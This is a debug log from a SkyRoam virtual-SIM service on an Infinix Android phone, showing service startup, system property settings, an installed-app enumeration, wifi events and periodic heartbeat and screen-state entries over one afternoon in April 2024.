[ui server]     2024-04-29 15:30:24:76461677    file:stp_ui_server_console.c    function:_uil_silver_osi_state  line:2013
[ui server]     2024-04-29 15:30:24:76461682    file:stp_ui_server_console.c    function:_uil_stop_vsim_force   line:2001
(2.14.00)<11:30:25:7>System restart after 4 seconds! (KILL)
(2.14.00)<11:30:26:8>System restart after 3 seconds! (KILL)
(2.14.00)<11:30:27:9>System restart after 2 seconds! (KILL)
[default]       2024-04-29 15:31:50:0           file:val_os_linux.c             function:val_os_init            line:507        _start_msec = 75303
[default]       2024-04-29 15:31:50:23          file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = setprop sys.skyroam.osi.status 'running'
[default]       2024-04-29 15:31:50:130         file:val_api.c  function:val_get_product_id     line:399        brand:Infinix, model:Infinix X6515
[default]       2024-04-29 15:31:50:134         file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = setprop sys.skyroam.osi.version '2.0.6.0'
[common]        2024-04-29 15:31:51:209         file:val_common.c               function:val_sim_prop_set       line:1131       prop:unknown,unknown
[default]       2024-04-29 15:31:51:213         file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = setprop sys.skyroam.sim.slot 'unknown,unknown'
[default]       2024-04-29 15:31:51:329         file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = setprop sys.skyroam.osi.sn 'appsky3gutzery44'
[default]       2024-04-29 15:31:51:447         file:val_os_linux.c             function:val_os_init            line:556        product type = 0x01070003
[default]       2024-04-29 15:31:51:451         file:val_os_linux.c             function:val_os_init            line:562        boot reason =
[default]       2024-04-29 15:31:51:463         file:val_os_linux.c             function:val_os_init            line:564        boot mode = normal
[default]       2024-04-29 15:31:51:492         file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = /system/bin/chmod 777 /mnt/traffic
[default]       2024-04-29 15:31:51:658         file:val_public.c               function:val_fs_readwrite       line:1170       [0 - 192160]
[rsim]          2024-04-29 15:31:51:670         file:val_rsim_manage.c          function:val_rsim_get_curr_plmn line:3929       prop value:310260,,
[rsim]          2024-04-29 15:31:51:674         file:val_rsim_manage.c          function:val_rsim_set_last_plmn line:3356       plmn:310260
[rsim]          2024-04-29 15:31:51:686         file:val_rsim_manage.c          function:val_last_mcc_init      line:3785       last_plmn:310260
[default]       2024-04-29 15:31:51:827         file:val_autolog.c              function:_init_auto_config      line:1116       autolog config not exist!
[default]       2024-04-29 15:31:51:849         file:val_os_linux.c             function:val_system_block       line:364        serial_number = 0xf04403d0, cmd = setprop sys.autolog.running '0'
[default]       2024-04-29 15:31:51:1125        file:val_os_linux.c             function:val_is_sdk_ver_more_or_equal_androidp  line:1806       silver SDKvercode:31
[router]        2024-04-29 15:31:52:1191        file:val_router.c               function:val_net_redirect_stop  line:3584       type:1
[default]       2024-04-29 15:31:52:1210        file:bwlist_dsds_queue.c        function:bwlist_dsds_queue_add_work             line:422        Success for add event: E_BWLIST_DSDS_EVENT_DESTROY
[SharingRsim]   2024-04-29 15:31:52:1230        file:val_sharing_rsim.c         function:val_get_srg_info       line:240        read srg failed
[server]        2024-04-29 15:31:52:1237        file:bsl_profiles_main.c        function:_sys_config_init       line:308
[default]       2024-04-29 15:31:52:1464        file:val_os_linux.c             function:val_is_app_v33         line:1828       silver vercode:10029, spciel:170
[default]       2024-04-29 15:31:52:1502        file:val_os_linux.c             function:val_is_app_v33         line:1832       simovalue:40, spciel_simover:40
[stp main]      2024-04-29 15:31:52:1545        file:stp_main.c function:stp_main_init          line:269        stp power on!build date Aug 17 2022 08:11:35
(2.14.00)<00:00:00:0>osi for vsim adaptor client!
[stp main]      2024-04-29 15:31:52:1664        file:stp_main.c function:_stp_init              line:44         verno = 2.0.6.0(0817)
[SharingRsim]   2024-04-29 15:31:52:1820        file:bsl_sharing_rsim.c         function:_sr_change_interval_init               line:300
[SharingRsim]   2024-04-29 15:31:52:1825        file:bsl_sharing_rsim.c         function:bsl_sw_rsim_init       line:2410       restart
[SharingRsim]   2024-04-29 15:31:52:1831        file:bsl_sharing_rsim.c         function:_sw_rsim_mgr_reinit    line:687        rsim_type = 2!
[silver]        2024-04-29 15:31:52:1836        file:silver_card_manager.c      function:silver_socket_init     line:1659
[default]       2024-04-29 15:31:52:1840        file:val_os_linux.c             function:val_is_used_unix_name  line:1789       silver SDKvercode:31
[default]       2024-04-29 15:31:52:2111        file:val_os_linux.c             function:val_is_used_unix_name  line:1789       silver SDKvercode:31
[silver]        2024-04-29 15:31:52:2116        file:silver_card_manager.c      function:silver_connect_handle  line:1537       silver connetted to service!
[silver]        2024-04-29 15:31:52:2123        file:silver_card_manager.c      function:silver_connect_handle  line:1543       versionName = 2.2.022, versionCode = 10029
[rsim]          2024-04-29 15:31:52:2131        file:val_rsim_silver.c          function:val_rsim_modem_network_info_update_register            line:638        g_rsim_slot_id = 255
[rsim]          2024-04-29 15:31:52:2137        file:val_rsim_silver.c          function:val_rsim_get_appinfo_list_result_update_register      line:455        g_rsim_slot_id = 255
[silver]        2024-04-29 15:31:52:2151        file:silver_sim_card_interface.c                function:silver_register_get_gps_info_listener  line:738        slot_id = 2
[router]        2024-04-29 15:31:52:2185        file:val_router.c               function:_cdr_app_init          line:760        app cdr:0xf0112ff0
[default]       2024-04-29 15:31:53:2189        file:cap.c      function:cap_init               line:133
[default]       2024-04-29 15:31:53:2209        file:bwlist_dsds_queue.c        function:bwlist_dsds_thread_work                line:358        bwlist dsds queue wait cond ...
[router]        2024-04-29 15:31:53:2855        file:val_router.c               function:_cdr_set_base_flow     line:225        inrx = 0, intx = 0, pwrrx = 0, pwrtx = 0
[router]        2024-04-29 15:31:53:2861        file:val_router.c               function:_cdr_base_flow_init    line:256        base rx = 0, base tx = 0
[monitor]       2024-04-29 15:31:53:2868        file:bsl_npms_config.c          function:bsl_npms_cfg_init      line:121        manual control exchange:1
[default]       2024-04-29 15:31:53:2895        file:fw_tc_common.c             function:val_high_linux_kernal_version          line:113        4.19.191-g98ae7dca9483-dirty
[default]       2024-04-29 15:31:53:2901        file:fw_tc_common.c             function:val_high_linux_kernal_version          line:132        19
[flow]          2024-04-29 15:31:53:2975        file:bsl_cfg_parser.c           function:_cfg_print_flow_header line:854        flow = stp_dsds_app
[flow]          2024-04-29 15:31:53:2980        file:bsl_cfg_parser.c           function:_cfg_print_flow_header line:860        version = 25
[flow]          2024-04-29 15:31:53:2984        file:bsl_cfg_parser.c           function:_cfg_print_flow_header line:866        version = 200
[default]       2024-04-29 15:31:53:2992        file:val_os_linux.c             function:val_lmalloc_ex         line:1341       malloc length is invalid! len = 0
[ui server]     2024-04-29 15:31:53:2999        file:stp_ui_server_console.c    function:_uil_message_data_transfer_req         line:512        memory error!
[default]       2024-04-29 15:31:53:3009        file:val_os_linux.c             function:val_is_used_unix_name  line:1789       silver SDKvercode:31
[default]       2024-04-29 15:31:54:3210        file:val_os_linux.c             function:val_is_used_unix_name  line:1789       silver SDKvercode:31
[ui server]     2024-04-29 15:31:54:3216        file:stp_ui_socket_server.c     function:stp_ui_socket_server_init              line:310        bind ret = 0, NAME:@uisocket
[router]        2024-04-29 15:31:56:5393        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:230        app number:101
[router]        2024-04-29 15:31:56:5415        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10135]:[com.google.android.youtube]
[router]        2024-04-29 15:31:56:5429        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10190]:[com.google.android.ext.services]
[router]        2024-04-29 15:31:56:5435        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10149]:[com.transsion.plat.appupdate]
[router]        2024-04-29 15:31:56:5444        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10110]:[com.google.android.googlequicksearchbox]
[router]        2024-04-29 15:31:56:5448        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10173]:[com.talpa.hiservice]
[router]        2024-04-29 15:31:56:5452        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10159]:[com.transsion.phonemaster]
[router]        2024-04-29 15:31:56:5458        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10047]:[com.android.providers.calendar]
[router]        2024-04-29 15:31:56:5463        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10167]:[com.transsion.manualguide]
[router]        2024-04-29 15:31:56:5468        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10039]:[com.android.providers.media]
[router]        2024-04-29 15:31:56:5482        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10169]:[com.transsion.magicfont]
[router]        2024-04-29 15:31:56:5492        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10114]:[com.transsion.magicshow]
[router]        2024-04-29 15:31:56:5500        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10160]:[com.idea.questionnaire]
[router]        2024-04-29 15:31:56:5507        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10044]:[com.mediatek.ygps]
[router]        2024-04-29 15:31:56:5511        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10039]:[com.android.providers.downloads]
[router]        2024-04-29 15:31:56:5515        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10098]:[com.google.android.apps.messaging]
[router]        2024-04-29 15:31:56:5520        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10043]:[com.mediatek.engineermode]
[router]        2024-04-29 15:31:56:5524        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10093]:[com.google.android.configupdater]
[router]        2024-04-29 15:31:56:5536        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10115]:[com.transsion.dualapp]
[default]       2024-04-29 15:31:56:5552        file:fw_netlink.c               function:parseNetlinkAddrMsg    line:142        wlan0 add address:192.168.2.55
[default]       2024-04-29 15:31:56:5563        file:fw_netlink.c               function:parseNetlinkAddrMsg    line:176
[router]        2024-04-29 15:31:56:5607        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10039]:[com.android.providers.downloads.ui]
[router]        2024-04-29 15:31:56:5612        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10106]:[com.android.vending]
[router]        2024-04-29 15:31:56:5616        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10066]:[com.android.pacprocessor]
[router]        2024-04-29 15:31:56:5619        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10117]:[com.google.android.marvin.talkback]
[router]        2024-04-29 15:31:56:5630        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10039]:[com.android.mtp]
[router]        2024-04-29 15:31:56:5633        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10126]:[com.trassion.infinix.xclub]
[router]        2024-04-29 15:31:56:5646        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10124]:[com.google.android.gm]
[router]        2024-04-29 15:31:56:5660        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10178]:[com.transsion.healthlife]
[router]        2024-04-29 15:31:56:5666        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10201]:[com.google.android.apps.tachyon]
[router]        2024-04-29 15:31:56:5693        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10165]:[com.transsion.camera]
[router]        2024-04-29 15:31:56:5745        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10138]:[org.thoughtcrime.securesms]
[router]        2024-04-29 15:31:56:5753        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10148]:[com.transsion.faceid]
[router]        2024-04-29 15:31:56:5765        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10078]:[com.debug.loggerui]
[router]        2024-04-29 15:31:57:6586        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10151]:[com.google.android.setupwizard]
[router]        2024-04-29 15:31:57:6619        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10107]:[com.facebook.services]
[router]        2024-04-29 15:31:57:6624        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10164]:[com.gallery20]
[router]        2024-04-29 15:31:57:6628        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10170]:[com.transsion.XOSLauncher]
[router]        2024-04-29 15:31:57:6637        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10087]:[com.scorpio.securitycom]
[router]        2024-04-29 15:31:57:6672        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10091]:[com.google.android.apps.wellbeing]
[router]        2024-04-29 15:31:57:6682        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10174]:[com.funbase.xradio]
[router]        2024-04-29 15:31:57:6690        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10057]:[com.android.bips]
[router]        2024-04-29 15:31:57:6698        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10090]:[com.google.android.apps.nbu.files]
[router]        2024-04-29 15:31:57:6710        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10073]:[com.google.android.captiveportallogin]
[router]        2024-04-29 15:31:57:6726        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10198]:[com.google.android.apps.docs]
[router]        2024-04-29 15:31:57:6731        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10144]:[com.google.android.apps.maps]
[router]        2024-04-29 15:31:57:6735        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10157]:[com.transsion.filemanagerx]
[router]        2024-04-29 15:31:57:6740        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10171]:[com.hoffnung]
[router]        2024-04-29 15:31:57:6744        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10139]:[com.google.android.webview]
[router]        2024-04-29 15:31:57:6748        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10166]:[com.rlk.weathers]
[router]        2024-04-29 15:31:57:6751        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10122]:[com.google.android.syncadapters.contacts]
[router]        2024-04-29 15:31:57:6754        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10134]:[com.android.chrome]
[router]        2024-04-29 15:31:57:6758        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10200]:[cn.wps.moffice.lite.abroad.transsion]
[router]        2024-04-29 15:31:57:6763        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10097]:[com.transsion.carlcare]
[router]        2024-04-29 15:31:57:6767        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10155]:[com.transsion.applock]
[router]        2024-04-29 15:31:57:6771        file:val_router_linux.c         function:val_add_remove_get_appinfo_list_rsp    line:242        [10099]:[com.google.android.gms]
```

```
[router]      2024-04-29 15:31:57:6775      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10099]:[com.google.android.gsf]
[router]      2024-04-29 15:31:57:6779      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10096]:[com.google.android.ims]
[router]      2024-04-29 15:31:57:6781      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10127]:[com.google.android.tts]
[router]      2024-04-29 15:31:57:6787      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10109]:[com.google.android.partnersetup]
[router]      2024-04-29 15:31:57:6790      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10175]:[com.transsion.fmradio]
[router]      2024-04-29 15:31:57:6793      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10197]:[com.google.android.videos]
[router]      2024-04-29 15:31:57:6800      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10079]:[com.android.carrierdefaultapp]
[router]      2024-04-29 15:31:57:6811      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10163]:[com.transsion.magazineservice.xos]
[router]      2024-04-29 15:31:57:6826      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10046]:[com.android.proxyhandler]
[router]      2024-04-29 15:31:57:6832      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10172]:[com.transsion.scanningrecharger]
[router]      2024-04-29 15:31:57:6853      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10143]:[com.talpa.hibrowser]
[router]      2024-04-29 15:31:57:6856      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10150]:[com.google.android.feedback]
[router]      2024-04-29 15:31:57:6859      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10187]:[com.topjohnwu.magisk]
[router]      2024-04-29 15:31:57:6862      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10065]:[com.google.android.printservice.recommendation]
[router]      2024-04-29 15:31:57:6865      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10118]:[com.google.android.apps.photos]
[router]      2024-04-29 15:31:57:6875      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10132]:[com.google.android.calendar]
[router]      2024-04-29 15:31:57:6881      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10040]:[com.android.managedprovisioning]
[router]      2024-04-29 15:31:57:6885      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10039]:[com.android.soundpicker]
[router]      2024-04-29 15:31:57:6888      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10102]:[com.android.imsserviceentitlement]
[router]      2024-04-29 15:31:57:6893      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10105]:[jackpal.androidterm]
[router]      2024-04-29 15:31:57:6898      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10104]:[com.transsnet.store]
[router]      2024-04-29 15:31:57:6900      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10133]:[com.infinix.xshare]
[router]      2024-04-29 15:31:57:6903      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10192]:[com.transsion.beez]
[router]      2024-04-29 15:31:57:6911      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10128]:[com.samsung.android.spay]
[router]      2024-04-29 15:31:57:6913      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10095]:[com.google.android.projection.gearhead]
[router]      2024-04-29 15:31:57:6917      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10108]:[com.google.android.apps.turbo]
[router]      2024-04-29 15:31:57:6920      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10071]:[com.mediatek.lbs.em2.ui]
[router]      2024-04-29 15:31:57:6922      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10089]:[net.bat.store]
[router]      2024-04-29 15:31:57:6926      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10147]:[com.sh.smart.caller]
[router]      2024-04-29 15:31:57:6928      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10121]:[com.coinbase.android]
[router]      2024-04-29 15:31:57:6930      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10168]:[com.transsion.soundrecorder]
[router]      2024-04-29 15:31:57:6933      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10146]:[com.transsion.trancare]
[router]      2024-04-29 15:31:57:6936      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10125]:[com.transsion.wifiplaytogether]
[router]      2024-04-29 15:31:57:6939      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10152]:[com.android.emergency]
[router]      2024-04-29 15:31:57:6943      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10182]:[com.android.hotspot2.osulogin]
[router]      2024-04-29 15:31:57:6953      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10196]:[id.mjs.etalaseapp]
[router]      2024-04-29 15:31:57:6959      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10148]:[com.android.systemui]
[router]      2024-04-29 15:31:57:6962      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10141]:[com.google.android.apps.youtube.music]
[router]      2024-04-29 15:31:57:6968      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10177]:[com.transsion.calculator]
[router]      2024-04-29 15:31:57:6970      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10120]:[com.transsion.dtsaudio]
[router]      2024-04-29 15:31:57:6973      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10136]:[com.facebook.appmanager]
[router]      2024-04-29 15:31:57:6987      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10179]:[tech.palm.id]
[router]      2024-04-29 15:31:57:6990      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10130]:[com.transsion.sk]
[router]      2024-04-29 15:31:57:6993      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10176]:[com.transsion.notebook]
[router]      2024-04-29 15:31:57:7000      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10161]:[com.transsion.kolun.assistant]
[router]      2024-04-29 15:31:57:7002      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10119]:[com.google.android.inputmethod.latin]
[router]      2024-04-29 15:31:57:7005      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10123]:[com.spacegame.solitaire]
[router]      2024-04-29 15:31:57:7008      file:val_router_linux.c      function:val_add_remove_get_appinfo_list_rsp    line:242      [10088]:[com.google.android.apps.restore]
[ui server]   2024-04-29 15:32:01:11165     file:stp_ui_server_console.c function:stp_ui_server_connect  line:4521     socket id = 7
[default]     2024-04-29 15:32:02:12187     file:val_os_linux.c          function:val_system_block       line:364      serial_number = 0xf04403d0, cmd = setprop sys.skyroam.osi.sn 'appsky3gutzery44'
[default]     2024-04-29 15:32:03:12244     file:val_osi.c  function:val_product_sn_by_imei line:188      sn = appsky3gutzery44
[vsim]        2024-04-29 15:32:03:12254     file:bsl_vsim_console.c      function:_bsl_vsim_modem_entry  line:856
[vsim]        2024-04-29 15:32:03:12259     file:bsl_vsim_console.c      function:_bsl_get_device_info   line:787      SN: appsky3gutzery44    CODE:
[vsim]        2024-04-29 15:32:04:13226     file:bsl_vsim_console.c      function:_bsl_vsim_modem_main_entry           line:816      sim_mode = 5
[vsim]        2024-04-29 15:32:04:13244     file:bsl_vsim_console.c      function:_bsl_get_vsim_sim_status_result      line:723      _vsim_sim_status=4
[vsim]        2024-04-29 15:32:04:13249     file:bsl_vsim_console.c      function:_bsl_get_vsim_modem_imsi_result      line:626      vsim_imsi:Æ∫TÆ∫T
[vsim]        2024-04-29 15:32:05:14226     file:bsl_vsim_console.c      function:_bsl_vsim_modem_main_entry           line:816      sim_mode = 3
[rsim]        2024-04-29 15:32:06:15226     file:val_rsim_silver.c       function:val_rsim_is_ready_flag line:678      boot_complete = 1
[rsim]        2024-04-29 15:32:06:15245     file:val_rsim_manage.c       function:val_rsim_get_support_rat             line:3114     RAT:
[rsim]        2024-04-29 15:32:06:15257     file:val_rsim_manage.c       function:val_rsim_get_support_rat             line:3115     RATP:L/W/G
[rsim]        2024-04-29 15:32:25:34357     file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[default]     2024-04-29 15:38:47:416289    file:val_os_linux.c          function:val_wifi_is_connected  line:1748     WIFI connected!
[rsim]        2024-04-29 15:39:14:443615    file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 15:53:31:1300320   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 16:27:34:3343231   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 16:27:43:3352486   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[rsim]        2024-04-29 16:46:54:4503552   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 16:53:33:4902765   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 16:53:43:4912256   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[rsim]        2024-04-29 17:35:00:7389546   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 17:39:06:7635505   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 17:39:41:7671040   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[rsim]        2024-04-29 18:08:46:9415399   file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 18:26:09:10458320  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 18:32:26:10836147  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 18:32:54:10863788  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[rsim]        2024-04-29 18:46:34:11683635  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 18:46:35:11684629  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 18:46:44:11693807  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[rsim]        2024-04-29 18:49:47:11876342  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 18:49:56:11886104  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[default]     2024-04-29 19:02:53:12662237  file:fw_netlink.c            function:parseNetlinkAddrMsg    line:142      wlan0 del address:192.168.2.55
[default]     2024-04-29 19:02:53:12662247  file:fw_netlink.c            function:parseNetlinkAddrMsg    line:176
[rsim]        2024-04-29 19:03:07:12676544  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[default]     2024-04-29 19:05:03:12793100  file:val_os_linux.c          function:val_wifi_is_connected  line:1756     WIFI disconnected!
[rsim]        2024-04-29 20:35:52:18241472  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[default]     2024-04-29 20:35:58:18247894  file:fw_netlink.c            function:parseNetlinkAddrMsg    line:142      wlan0 add address:192.168.2.55
[default]     2024-04-29 20:35:58:18247915  file:fw_netlink.c            function:parseNetlinkAddrMsg    line:176
[rsim]        2024-04-29 20:36:03:18252265  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:36:28:18277664  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1037     STP_SCREEN_STATE_OFF
[default]     2024-04-29 20:36:32:18281264  file:val_os_linux.c          function:val_wifi_is_connected  line:1748     WIFI connected!
[rsim]        2024-04-29 20:40:47:18536305  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:41:48:18597324  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1041     STP_SCREEN_STATE_ON
[rsim]        2024-04-29 20:42:54:18663352  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:44:06:18735485  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
[rsim]        2024-04-29 20:45:18:18807609  file:bsl_rsim_console.c      function:_bsl_silver_send_heart_and_other_cmd_ind             line:1048     silver heart = 2017
